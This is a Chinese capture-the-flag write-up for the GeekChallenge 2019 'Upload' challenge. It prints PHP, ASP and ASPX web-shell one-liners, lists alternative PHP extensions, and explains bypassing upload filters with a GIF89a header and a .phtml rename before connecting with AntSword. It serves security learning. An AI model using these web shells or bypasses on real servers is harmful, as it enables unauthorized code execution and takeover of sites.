[极客大挑战 2019]Upload
常见upload检查内容有,后缀名、content-type、文件头的部分内容
经常用到的一句话有
php: <?php @eval($_POST['21']);?>
asp: <%eval request (“21”)%>
aspx: <%@ Page Language=“Jscript”%> <%eval(Request.Item[“21”],“unsafe”);%>
试图直接上传php一句话,但是并未成功
接着试着传一张真的jpg
但是也失败了。。。
然后没有了头绪去网上找了找wp继续接下来的操作
有一些不了解的知识点如:
1.php不仅可以用php3绕过还可以用phtml等绕过
常见的php后缀:php2, php3, php4, php5, phps, pht, phtm, phtml
2.可以给一句话直接加一个文件头来绕过
网上给出wp一句话为
GIF89a?
GIF89a是GIF的文件头
在这里由于题目中要求一句话不能有<?所以使用以上的另一句php一句话替代
一篇详细介绍的博客
在这里也尝试过直接仅仅上传只是.gif的一句话不加gif文件头发现确实上传不了,说明本题不仅对后缀进行检查还对文件头进行检查且过滤<?
抓包修改文件后缀为phtml绕过
猜测存储路径在upload之下访问成功
连接蚁剑找到flag